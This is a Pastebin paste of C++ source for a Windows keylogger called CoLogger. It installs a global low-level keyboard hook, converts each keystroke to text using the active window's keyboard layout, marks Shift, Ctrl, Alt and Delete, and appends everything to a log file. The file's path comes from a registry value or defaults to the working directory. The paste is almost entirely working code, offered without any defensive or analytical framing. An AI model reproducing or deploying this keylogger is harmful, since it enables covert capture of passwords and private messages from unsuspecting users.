Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // CoLogger.cpp : Defines the entry point for the application.
- //
- #include "stdafx.h"
- #include "CoLogger.h"
- #include <stdio.h>
- #include <string>
- using namespace std;
- HHOOK HOOKID;
- LRESULT CALLBACK KeyHandler(int nCode, WPARAM wParam, LPARAM lParam);
- LONG GetStringRegKey(HKEY hKey, const wstring &strValueName, wstring &strValue, const wstring &strDefaultValue);
- void AppendToFile(WCHAR *Char, int size);
- wstring LogFilePath;
- int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
- _In_opt_ HINSTANCE hPrevInstance,
- _In_ LPTSTR lpCmdLine,
- _In_ int nCmdShow)
- {
- HOOKID = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHandler, NULL, 0);
- if (HOOKID == NULL) {
- OutputDebugString(L"Some Erorr Here 1");
- return 0;
- }
- else
- {
- // Get Log File Path
- HKEY hKey;
- RegOpenKeyExW(HKEY_CURRENT_USER, L"SOFTWARE", 0, KEY_READ, &hKey);
- WCHAR cCurrentPath[FILENAME_MAX];
- GetCurrentDirectory(FILENAME_MAX, cCurrentPath);
- wcscat(cCurrentPath, L"\\cLog.txt");
- GetStringRegKey(hKey, L"cLog", LogFilePath, cCurrentPath);
- // Create File If Not Exit
- HANDLE hFile = CreateFile(LogFilePath.c_str(),
- GENERIC_WRITE,
- 0,
- NULL,
- CREATE_NEW,
- FILE_ATTRIBUTE_NORMAL,
- NULL);
- if (hFile == INVALID_HANDLE_VALUE)
- {
- OutputDebugString(L"File Exists Or Some Erorr :D");
- // Don't Return 0 Here, MeyBe File Exists, Not Erorr (MayBe)
- // you Can Write Your Code To Check :D, Use PathFileExists(_In_ LPCTSTR pszPath) !!
- // return 0;
- } else {
- unsigned char Header[2]; //unicode text file header
- Header[0] = 0xFF;
- Header[1] = 0xFE;
- WriteFile(hFile, Header, 2, NULL, NULL);
- CloseHandle(hFile);
- }
- MSG WinMsg;
- // Main message loop:
- while (GetMessage(&WinMsg, NULL, 0, 0))
- {
- }
- }
- return 0;
- }
- LRESULT CALLBACK KeyHandler(int nCode, WPARAM wParam, LPARAM lParam) {
- if (nCode == HC_ACTION) {
- DWORD vkCode = ((KBDLLHOOKSTRUCT *)lParam)->vkCode;
- // Alt Pressed !.?
- bool AltPresed(((KBDLLHOOKSTRUCT *)lParam)->flags == LLKHF_ALTDOWN);
- HKL hKl = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL));
- ActivateKeyboardLayout(hKl, KLF_SETFORPROCESS);
- wchar_t buffer[2];
- BYTE keyStates[256]; GetKeyboardState(keyStates);
- switch (wParam)
- {
- case WM_KEYDOWN:
- case WM_SYSKEYDOWN:
- // sprintf_s(Buffer, 200, "KeyDown:- %x\n", vkCode);
- // Get Key As Char
- ToUnicode(
- vkCode,
- MapVirtualKey(vkCode, MAPVK_VK_TO_VSC),
- keyStates,
- buffer,
- 1,
- 0
- );
- // Size * 2 => Don't Forget We Use Unicode Chars :D
- if (AltPresed) AppendToFile(L"[ALT]", 5 * 2);
- switch (vkCode)
- {
- case VK_LSHIFT:
- case VK_RSHIFT:
- AppendToFile(L"[Shift]", 7 * 2);
- break;
- case VK_LCONTROL:
- case VK_RCONTROL:
- AppendToFile(L"[CTRL]", 6 * 2);
- break;
- case VK_DELETE:
- case VK_BACK:
- AppendToFile(L"[DELETE]", 8 * 2);
- break;
- case VK_RETURN:
- //AppendToFile(L"[ENTER]", 7 * 2);
- // To Print NewLine
- AppendToFile(buffer, 2);
- break;
- default:
- // From A(Key) To Z(Key) In (KeyBoard) In English
- // It's Mean From (ا)(Key) To (ي)(Key) In Arabic At The Same In Other Lang
- if (vkCode >= 0x30 && vkCode <= 0x5A)
- {
- AppendToFile(buffer, 2);
- }
- break;
- }
- /*case WM_KEYUP:
- case WM_SYSKEYUP:
- sprintf_s(Buffer, 200, "KeyUp:- %x\n", vkCode);
- OutputDebugString(buffer);
- break;*/
- }
- }
- return CallNextHookEx(HOOKID, nCode, wParam, lParam);
- }
- void AppendToFile(WCHAR *Char, int size) {
- // Create File If Not Exit
- HANDLE hFile = CreateFile(LogFilePath.c_str(),
- FILE_APPEND_DATA,
- FILE_SHARE_READ, // allow multiple readers
- NULL,
- OPEN_ALWAYS,
- FILE_ATTRIBUTE_NORMAL,
- NULL);
- WriteFile(hFile, Char, size, NULL, NULL);
- CloseHandle(hFile);
- }
- LONG GetStringRegKey(HKEY hKey, const wstring &strValueName, wstring &strValue, const wstring &strDefaultValue)
- {
- strValue = strDefaultValue;
- WCHAR szBuffer[512];
- DWORD dwBufferSize = sizeof(szBuffer);
- ULONG nError;
- nError = RegQueryValueExW(hKey, strValueName.c_str(), 0, NULL, (LPBYTE)szBuffer, &dwBufferSize);
- if (ERROR_SUCCESS == nError && wcscmp(szBuffer, L"") != 0)
- {
- strValue = szBuffer;
- }
- return nError;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement